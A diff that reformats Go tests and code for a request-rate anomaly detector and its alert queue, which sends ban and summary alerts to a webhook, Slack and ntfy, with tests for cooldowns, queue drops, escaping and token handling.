waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != alerts.QueueSize ||
|
if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
|
||||||
waiting[0].Netblock != netblock(1) {
|
t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
|
||||||
t.Fatalf(
|
len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
|
||||||
"%d alerts wait, the first for %s, want %d, the first for %s",
|
|
||||||
len(
|
|
||||||
waiting,
|
|
||||||
),
|
|
||||||
waiting[0].Netblock,
|
|
||||||
alerts.QueueSize,
|
|
||||||
netblock(1),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The request is abandoned after 10 seconds, and the webhook, which
|
// The request is abandoned after 10 seconds, and the webhook, which
|
||||||
@@ -789,22 +667,14 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) != alerts.QueueSize+1 ||
|
if len(got) != alerts.QueueSize+1 ||
|
||||||
got[0].alert["netblock"] != netblock(0).String() {
|
got[0].alert["netblock"] != netblock(0).String() {
|
||||||
t.Fatalf(
|
t.Fatalf("the webhook had %d requests, want %d, the first for %s",
|
||||||
"the webhook had %d requests, want %d, the first for %s",
|
len(got), alerts.QueueSize+1, netblock(0))
|
||||||
len(got),
|
|
||||||
alerts.QueueSize+1,
|
|
||||||
netblock(0),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for i, request := range got[1:] {
|
for i, request := range got[1:] {
|
||||||
if request.alert["netblock"] != netblock(i+1).String() {
|
if request.alert["netblock"] != netblock(i+1).String() {
|
||||||
t.Fatalf(
|
t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
|
||||||
"request %d is for %v, want %s",
|
netblock(i+1))
|
||||||
i+1,
|
|
||||||
request.alert["netblock"],
|
|
||||||
netblock(i+1),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -822,12 +692,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
|
|
||||||
// Not sent: Run is not running. The repeat is held back by the
|
// Not sent: Run is not running. The repeat is held back by the
|
||||||
// cooldown, and the file error past the hourly limit.
|
// cooldown, and the file error past the hourly limit.
|
||||||
before.Raise(
|
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
)
|
|
||||||
before.Raise(
|
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
|
||||||
)
|
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
time.Sleep(time.Minute)
|
time.Sleep(time.Minute)
|
||||||
@@ -838,9 +704,7 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
// The new queue sends the alert waiting, holds back the repeat as
|
// The new queue sends the alert waiting, holds back the repeat as
|
||||||
// the cooldown still runs, and sends the summary of the hour, which
|
// the cooldown still runs, and sends the summary of the hour, which
|
||||||
// gives both repeats, as the cooldown has run out.
|
// gives both repeats, as the cooldown has run out.
|
||||||
after.Raise(
|
after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan)
|
wantEvents(t, webhook, alerts.EventBan)
|
||||||
|
|
||||||
@@ -851,13 +715,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
summary := webhook.received()[1].alert
|
summary := webhook.received()[1].alert
|
||||||
detail, _ := summary["detail"].(map[string]any)
|
detail, _ := summary["detail"].(map[string]any)
|
||||||
|
|
||||||
if detail["count"] != float64(1) ||
|
if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
|
||||||
summary["suppressed_repeats"] != float64(2) {
|
t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
|
||||||
t.Errorf(
|
detail["count"], summary["suppressed_repeats"])
|
||||||
"the summary counts %v alerts and %v repeats, want 1 and 2",
|
|
||||||
detail["count"],
|
|
||||||
summary["suppressed_repeats"],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -887,13 +747,7 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
|
|||||||
|
|
||||||
for i, each := range want {
|
for i, each := range want {
|
||||||
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
||||||
wantNtfyMessage(
|
wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
|
||||||
t,
|
|
||||||
ntfy[i],
|
|
||||||
each.title,
|
|
||||||
each.priorityAndTag,
|
|
||||||
each.text,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -906,23 +760,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
params.WebhookURL = nil
|
params.WebhookURL = nil
|
||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
ban := alerts.Alert{
|
ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
|
||||||
Event: alerts.EventBan,
|
|
||||||
Netblock: netblock(1),
|
|
||||||
Reason: "a ban",
|
|
||||||
}
|
|
||||||
|
|
||||||
// The hour's one alert, a repeat of it the cooldown holds back, and
|
// The hour's one alert, a repeat of it the cooldown holds back, and
|
||||||
// an alert past the limit; once the hour has ended, its summary,
|
// an alert past the limit; once the hour has ended, its summary,
|
||||||
// which gives the repeat, and the next alert, which gives none.
|
// which gives the repeat, and the next alert, which gives none.
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventFileError,
|
|
||||||
Reason: "a file error",
|
|
||||||
},
|
|
||||||
)
|
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
@@ -941,18 +786,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||||
|
|
||||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||||
wantNtfyMessage(
|
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
||||||
t,
|
wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
|
||||||
ntfy[1],
|
|
||||||
instance+": summary",
|
|
||||||
"default bar_chart",
|
|
||||||
summary,
|
|
||||||
)
|
|
||||||
wantSlackMessage(
|
|
||||||
t,
|
|
||||||
slack[2],
|
|
||||||
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
|
|
||||||
)
|
|
||||||
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
||||||
"a ban\nnetblock: 203.0.113.1/32")
|
"a ban\nnetblock: 203.0.113.1/32")
|
||||||
})
|
})
|
||||||
@@ -978,11 +813,7 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
|
|||||||
|
|
||||||
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
||||||
"<!channel> & <https://x.example|y>")
|
"<!channel> & <https://x.example|y>")
|
||||||
wantBodies(
|
wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
|
||||||
t,
|
|
||||||
standIns[alerts.DestinationNtfy],
|
|
||||||
"<!channel> & <https://x.example|y>",
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1004,12 +835,7 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
params.NtfyToken = tc.token
|
params.NtfyToken = tc.token
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
|
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventBan,
|
|
||||||
Netblock: netblock(1),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
for destination, want := range map[string][]string{
|
for destination, want := range map[string][]string{
|
||||||
@@ -1019,21 +845,13 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
got := standIns[destination].received()
|
got := standIns[destination].received()
|
||||||
if len(got) != 1 {
|
if len(got) != 1 {
|
||||||
t.Fatalf(
|
t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
|
||||||
"%s was sent %d requests, want 1",
|
|
||||||
destination,
|
|
||||||
len(got),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
authorization := got[0].header.Values("Authorization")
|
authorization := got[0].header.Values("Authorization")
|
||||||
if !slices.Equal(authorization, want) {
|
if !slices.Equal(authorization, want) {
|
||||||
t.Errorf(
|
t.Errorf("%s was sent Authorization %q, want %q", destination,
|
||||||
"%s was sent Authorization %q, want %q",
|
authorization, want)
|
||||||
destination,
|
|
||||||
authorization,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -1052,9 +870,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
standIns[alerts.DestinationSlack].set(hanging)
|
standIns[alerts.DestinationSlack].set(hanging)
|
||||||
|
|
||||||
for n := range 3 {
|
for n := range 3 {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -1069,9 +885,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
wantDestinationCounts(t, q, destination, want)
|
wantDestinationCounts(t, q, destination, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := standIns[alerts.DestinationSlack].received(); len(
|
if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
|
||||||
got,
|
|
||||||
) != 1 {
|
|
||||||
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1086,16 +900,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
alerts.Counts{Sent: 3, SendFailures: 1})
|
alerts.Counts{Sent: 3, SendFailures: 1})
|
||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(
|
if !strings.Contains(logged,
|
||||||
logged,
|
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
||||||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
|
|
||||||
) ||
|
|
||||||
strings.Contains(logged, "hooks.slack.example") ||
|
strings.Contains(logged, "hooks.slack.example") ||
|
||||||
strings.Contains(logged, "T0123") {
|
strings.Contains(logged, "T0123") {
|
||||||
t.Errorf(
|
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||||
"process log %q names no failure, or names the URL",
|
|
||||||
logged,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -1113,9 +922,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
|
|||||||
// Each alert is raised once each destination has done all it can
|
// Each alert is raised once each destination has done all it can
|
||||||
// with those before it.
|
// with those before it.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1329,10 +1136,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
|
|||||||
// startAll returns, by destination, a stand-in that answers for each
|
// startAll returns, by destination, a stand-in that answers for each
|
||||||
// destination params sets, and a Queue that sends to them, run until the
|
// destination params sets, and a Queue that sends to them, run until the
|
||||||
// test ends.
|
// test ends.
|
||||||
func startAll(
|
func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
|
||||||
t *testing.T,
|
|
||||||
params alerts.Params,
|
|
||||||
) (map[string]*standIn, *alerts.Queue) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
@@ -1366,9 +1170,7 @@ func midnight() time.Time {
|
|||||||
|
|
||||||
// netblock returns the n-th netblock of a test, counted from 0.
|
// netblock returns the n-th netblock of a test, counted from 0.
|
||||||
func netblock(n int) netip.Prefix {
|
func netblock(n int) netip.Prefix {
|
||||||
return netip.MustParsePrefix(
|
return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
|
||||||
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// roundTrip returns state once written as JSON and read back, as
|
// roundTrip returns state once written as JSON and read back, as
|
||||||
@@ -1421,22 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
|
|||||||
// requests to it that it counts as failed, the alerts it counts as held
|
// requests to it that it counts as failed, the alerts it counts as held
|
||||||
// back, and those it counts as dropped for the webhook.
|
// back, and those it counts as dropped for the webhook.
|
||||||
func wantCounts(
|
func wantCounts(
|
||||||
t *testing.T,
|
t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
|
||||||
q *alerts.Queue,
|
|
||||||
sent, sendFailures, suppressed, dropped int64,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
wantDestinationCounts(
|
wantDestinationCounts(t, q, alerts.DestinationWebhook,
|
||||||
t,
|
alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
|
||||||
q,
|
|
||||||
alerts.DestinationWebhook,
|
|
||||||
alerts.Counts{
|
|
||||||
Sent: sent,
|
|
||||||
SendFailures: sendFailures,
|
|
||||||
Dropped: dropped,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
if q.Suppressed() != suppressed {
|
if q.Suppressed() != suppressed {
|
||||||
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
||||||
@@ -1469,9 +1261,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
|
||||||
"203.0.113.0/24",
|
|
||||||
), Country: "DE",
|
|
||||||
Reason: "requests per hour over the limit of 10000",
|
Reason: "requests per hour over the limit of 10000",
|
||||||
Detail: map[string]any{"mode": "observe"},
|
Detail: map[string]any{"mode": "observe"},
|
||||||
},
|
},
|
||||||
@@ -1482,9 +1272,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
|
||||||
"198.51.100.7/32",
|
|
||||||
), Country: "FR",
|
|
||||||
Reason: "matched the rule env-file",
|
Reason: "matched the rule env-file",
|
||||||
},
|
},
|
||||||
"fsn1app1/blog: permanent_ban", "high no_entry",
|
"fsn1app1/blog: permanent_ban", "high no_entry",
|
||||||
@@ -1559,30 +1347,18 @@ func wantSlackMessage(t *testing.T, request post, text string) {
|
|||||||
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
||||||
// message text with the title, and with the priority and the tag
|
// message text with the title, and with the priority and the tag
|
||||||
// priorityAndTag gives, with a space between them.
|
// priorityAndTag gives, with a space between them.
|
||||||
func wantNtfyMessage(
|
func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
|
||||||
t *testing.T,
|
|
||||||
request post,
|
|
||||||
title, priorityAndTag, text string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := []string{
|
got := []string{
|
||||||
request.method, request.url, request.header.Get("Title"),
|
request.method, request.url, request.header.Get("Title"),
|
||||||
request.header.Get(
|
request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
|
||||||
"Priority",
|
|
||||||
) + " " + request.header.Get(
|
|
||||||
"Tags",
|
|
||||||
), request.body,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf(
|
t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
|
||||||
"ntfy was sent the method, URL, title, priority and tag, and text "+
|
"%q, want %q", got, want)
|
||||||
"%q, want %q",
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -43,13 +43,7 @@ const (
|
|||||||
|
|
||||||
// Scopes returns every scope.
|
// Scopes returns every scope.
|
||||||
func Scopes() []string {
|
func Scopes() []string {
|
||||||
return []string{
|
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
|
||||||
ScopeClient,
|
|
||||||
ScopeNet,
|
|
||||||
ScopeASN,
|
|
||||||
ScopeTotal,
|
|
||||||
ScopeWatchedNet,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The windows a counter counts in, as the alerts name them.
|
// The windows a counter counts in, as the alerts name them.
|
||||||
@@ -197,12 +191,8 @@ func (c *Counters) Snapshot() []Counter {
|
|||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(counters, func(a, b Counter) int {
|
slices.SortFunc(counters, func(a, b Counter) int {
|
||||||
return cmp.Or(
|
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
|
||||||
cmp.Compare(a.Scope, b.Scope),
|
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
|
||||||
a.Netblock.Compare(b.Netblock),
|
|
||||||
cmp.Compare(a.ASN, b.ASN),
|
|
||||||
cmp.Compare(a.Name, b.Name),
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
|
|
||||||
return counters
|
return counters
|
||||||
@@ -267,11 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
|||||||
for _, named := range p.NamedNetblocks {
|
for _, named := range p.NamedNetblocks {
|
||||||
if named.Netblock.Contains(client) {
|
if named.Netblock.Contains(client) {
|
||||||
all = append(all, scope{
|
all = append(all, scope{
|
||||||
key{
|
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
|
||||||
scope: ScopeWatchedNet,
|
|
||||||
netblock: named.Netblock,
|
|
||||||
name: named.Name,
|
|
||||||
}, p.Watch,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -330,12 +316,7 @@ func (c *Counter) add(
|
|||||||
|
|
||||||
counted := count.buckets.Add(now, count.length, n)
|
counted := count.buckets.Add(now, count.length, n)
|
||||||
if !passed && counted > float64(threshold) {
|
if !passed && counted > float64(threshold) {
|
||||||
first = overThreshold{
|
first = overThreshold{count.kind, count.window, counted, threshold}
|
||||||
count.kind,
|
|
||||||
count.window,
|
|
||||||
counted,
|
|
||||||
threshold,
|
|
||||||
}
|
|
||||||
passed = true
|
passed = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -378,22 +359,12 @@ func (c *Counter) lastStart() time.Time {
|
|||||||
|
|
||||||
// key returns what tells c from the other counters.
|
// key returns what tells c from the other counters.
|
||||||
func (c *Counter) key() key {
|
func (c *Counter) key() key {
|
||||||
return key{
|
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
|
||||||
scope: c.Scope,
|
|
||||||
netblock: c.Netblock,
|
|
||||||
asn: c.ASN,
|
|
||||||
name: c.Name,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// counter returns a counter for k, with nothing counted yet.
|
// counter returns a counter for k, with nothing counted yet.
|
||||||
func (k key) counter() *Counter {
|
func (k key) counter() *Counter {
|
||||||
return &Counter{
|
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
|
||||||
Scope: k.scope,
|
|
||||||
Netblock: k.netblock,
|
|
||||||
ASN: k.asn,
|
|
||||||
Name: k.name,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// alertFor returns the anomaly alert for o, a count over its threshold in
|
// alertFor returns the anomaly alert for o, a count over its threshold in
|
||||||
@@ -433,13 +404,8 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
|
|||||||
ASN: r.ASN,
|
ASN: r.ASN,
|
||||||
ASName: r.ASName,
|
ASName: r.ASName,
|
||||||
Country: r.Country,
|
Country: r.Country,
|
||||||
Reason: fmt.Sprintf(
|
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
|
||||||
"%s per %s of %s over the threshold of %d",
|
counted, o.threshold),
|
||||||
o.kind,
|
|
||||||
o.window,
|
|
||||||
counted,
|
|
||||||
o.threshold,
|
|
||||||
),
|
|
||||||
Detail: detail,
|
Detail: detail,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -31,10 +31,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
// name one netblock.
|
// name one netblock.
|
||||||
NetV4Prefix: 32,
|
NetV4Prefix: 32,
|
||||||
NamedNetblocks: []anomaly.NamedNetblock{
|
NamedNetblocks: []anomaly.NamedNetblock{
|
||||||
{
|
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
|
||||||
Name: "office",
|
|
||||||
Netblock: office,
|
|
||||||
}, {Name: "hq", Netblock: office},
|
|
||||||
},
|
},
|
||||||
Alerts: queue,
|
Alerts: queue,
|
||||||
})
|
})
|
||||||
@@ -83,16 +80,11 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if after.Suppressed() != 9 {
|
if after.Suppressed() != 9 {
|
||||||
t.Errorf(
|
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
|
||||||
"after loading, %d alerts are held back, want 9",
|
|
||||||
after.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
|
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
@@ -111,28 +103,17 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
|
|||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
||||||
!holds(got, maxCounters) {
|
!holds(got, maxCounters) {
|
||||||
t.Errorf(
|
t.Errorf("%d counters, holding the first client %v, the second %v and the "+
|
||||||
"%d counters, holding the first client %v, the second %v and the "+
|
"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
|
||||||
"new one %v, want %d, the first and the new one",
|
holds(got, 1), holds(got, maxCounters), maxCounters)
|
||||||
len(got),
|
|
||||||
holds(got, 0),
|
|
||||||
holds(got, 1),
|
|
||||||
holds(got, maxCounters),
|
|
||||||
maxCounters,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
|
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
Net: anomaly.Thresholds{
|
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
|
||||||
RequestsPerMinute: 1000,
|
|
||||||
RequestsPerHour: 1000,
|
|
||||||
},
|
|
||||||
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||||
NetV4Prefix: 24,
|
NetV4Prefix: 24,
|
||||||
})
|
})
|
||||||
@@ -161,9 +142,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
|
|||||||
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
||||||
}
|
}
|
||||||
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
||||||
got,
|
got, want) {
|
||||||
want,
|
|
||||||
) {
|
|
||||||
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -213,12 +192,9 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
|
|||||||
|
|
||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if !holds(got, 0) || holds(got, maxCounters/2) {
|
if !holds(got, 0) || holds(got, maxCounters/2) {
|
||||||
t.Errorf(
|
t.Errorf("holding the first client of the file %v, and the first counted in "+
|
||||||
"holding the first client of the file %v, and the first counted in "+
|
"the minute before %v, want only the first", holds(got, 0),
|
||||||
"the minute before %v, want only the first",
|
holds(got, maxCounters/2))
|
||||||
holds(got, 0),
|
|
||||||
holds(got, maxCounters/2),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -249,14 +225,9 @@ func newQueue() *alerts.Queue {
|
|||||||
// request returns a request from client number i, an address in
|
// request returns a request from client number i, an address in
|
||||||
// 10.0.0.0/8.
|
// 10.0.0.0/8.
|
||||||
func request(i int) anomaly.Request {
|
func request(i int) anomaly.Request {
|
||||||
client := netip.MustParseAddr(
|
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
|
||||||
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
|
|
||||||
)
|
|
||||||
|
|
||||||
return anomaly.Request{
|
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
|
||||||
Client: client,
|
|
||||||
ClientGroup: netip.PrefixFrom(client, 32),
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// holds reports whether counters hold the counter of client number i.
|
// holds reports whether counters hold the counter of client number i.
|
||||||
|
|||||||
+42
-146
@@ -36,21 +36,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
// then one with an admin's ban before a ban sww made: the one
|
// then one with an admin's ban before a ban sww made: the one
|
||||||
// ban counted toward MaxBans.
|
// ban counted toward MaxBans.
|
